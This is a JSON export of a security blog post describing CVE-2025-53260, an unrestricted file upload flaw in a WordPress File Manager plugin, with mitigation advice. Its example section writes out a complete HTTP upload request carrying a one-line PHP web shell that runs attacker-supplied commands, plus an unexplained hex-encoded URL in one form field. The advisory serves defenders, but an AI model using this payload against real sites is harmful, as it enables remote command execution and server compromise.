{"id":57115,"date":"2025-07-04T06:21:35","date_gmt":"2025-07-04T06:21:35","guid":{"rendered":""},"modified":"2025-09-10T11:37:51","modified_gmt":"2025-09-10T17:37:51","slug":"cve-2025-53260-unrestricted-file-upload-vulnerability-in-getredhawkstudio-file-manager-plugin-for-wordpress","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-53260-unrestricted-file-upload-vulnerability-in-getredhawkstudio-file-manager-plugin-for-wordpress\/","title":{"rendered":"<strong>CVE-2025-53260: Unrestricted File Upload Vulnerability in getredhawkstudio File Manager Plugin for WordPress<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The cybersecurity landscape is littered with vulnerabilities, and CVE-2025-53260 is a critical one that cannot be ignored. This vulnerability resides in the popular File Manager Plugin for WordPress developed by getredhawkstudio. It is a type of Unrestricted <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-28991-remote-file-inclusion-vulnerability-in-snstheme-evon-php-program\/\"  data-wpil-monitor-id=\"63567\">File Upload vulnerability<\/a> that allows malicious users to upload a web shell to a web server, potentially leading to a system compromise or data leakage.<br \/>\nThis <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-47297-dangerous-settings-manipulation-vulnerability-in-ncr-terminal-handler-v1-5-1\/\"  data-wpil-monitor-id=\"63945\">vulnerability is particularly dangerous<\/a> due to the widespread use of WordPress as a CMS worldwide. Whether you&#8217;re running a small business website or a large-scale e-commerce store, if you&#8217;re using the affected versions of this plugin, your <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-25178-critical-luajit-vulnerability-puts-systems-at-risk-of-compromise\/\"  data-wpil-monitor-id=\"81237\">system&#8217;s security is at risk<\/a>.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-53260<br \/>\nSeverity: Critical (9.1 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6510-critical-vulnerability-in-netgear-ex6100-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"63663\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1227770229\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>getredhawkstudio <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32977-unauthenticated-backup-file-upload-vulnerability-in-quest-kace-systems-management-appliance\/\"  data-wpil-monitor-id=\"64410\">File Manager<\/a> Plugin For WordPress | n\/a through 7.5<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49256-critical-php-remote-file-inclusion-vulnerability-in-thembay-sapa\/\"  data-wpil-monitor-id=\"63698\">vulnerability stems from the lack of proper file<\/a> type validation in the File Manager Plugin&#8217;s upload feature. An attacker can craft a malicious web shell (a script that enables remote administration) disguised as a benign file, and upload it to the web <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-52571-unauthenticated-access-to-telegram-account-and-server-via-hikka-userbot\/\"  data-wpil-monitor-id=\"64501\">server via<\/a> the plugin. Once uploaded, the attacker can access and execute this web shell, thereby gaining the ability to execute arbitrary commands, manipulate the server&#8217;s file system, and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5866-critical-vulnerability-in-rt-thread-5-1-0-potentially-leading-to-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"63946\">potentially access sensitive data<\/a>.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1919983598\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how the vulnerability might be exploited using an HTTP request to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49259-critical-php-remote-file-inclusion-vulnerability-in-thembay-hara\/\"  data-wpil-monitor-id=\"63702\">upload<\/a> a malicious PHP web shell:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-content\/plugins\/wp-file-manager\/lib\/php\/connector.minimal.php HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;cmd&quot;\nupload\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;target&quot;\nl1_Lw\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;upload[]&quot;; filename=&quot;shell.php&quot;\nContent-Type: application\/x-php\n&lt;?php echo shell_exec($_GET[&#039;cmd&#039;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;reqid&quot;\n68747470733a2f2f73656375726974792e6578616d706c652e636f6d2f\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, the attacker is uploading a PHP web shell (`shell.php`) that can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-40582-root-level-command-execution-vulnerability-in-scalance-lpe9403\/\"  data-wpil-monitor-id=\"63973\">execute arbitrary commands<\/a> sent via the `cmd` GET parameter.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>The most effective way to mitigate this vulnerability is to apply the vendor-supplied patch. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation measure by blocking or alerting on <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46414-unlimited-pin-attempts-vulnerability-in-api\/\"  data-wpil-monitor-id=\"81236\">attempts to exploit this vulnerability<\/a>. Regularly updating all software and plugins, and restricting <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20282-unauthenticated-file-upload-and-execution-vulnerability-in-cisco-ise-and-ise-pic\/\"  data-wpil-monitor-id=\"64474\">file upload<\/a> to necessary file types only are also recommended as general best practices to enhance the overall security posture.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The cybersecurity landscape is littered with vulnerabilities, and CVE-2025-53260 is a critical one that cannot be ignored. This vulnerability resides in the popular File Manager Plugin for WordPress developed by getredhawkstudio. It is a type of Unrestricted File Upload vulnerability that allows malicious users to upload a web shell to a web server, potentially [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-57115","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/57115","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=57115"}],"version-history":[{"count":10,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/57115\/revisions"}],"predecessor-version":[{"id":73687,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/57115\/revisions\/73687"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=57115"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=57115"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=57115"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=57115"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=57115"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=57115"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=57115"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=57115"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=57115"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}